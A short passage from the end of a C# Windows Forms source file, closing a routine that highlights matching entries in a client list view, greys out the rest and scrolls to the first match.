                    matchedItems.Add(item);
                }
                else
                {
                    // Dim non-matched items
                    item.BackColor = System.Drawing.Color.Empty;
                    item.ForeColor = System.Drawing.Color.Gray;
                }
            }

            // Bring first matched item to top (scroll to it)
            if (matchedItems.Count > 0)
            {
                matchedItems[0].EnsureVisible();
            }

            lstClients.EndUpdate();
        }

        #endregion
    }
}
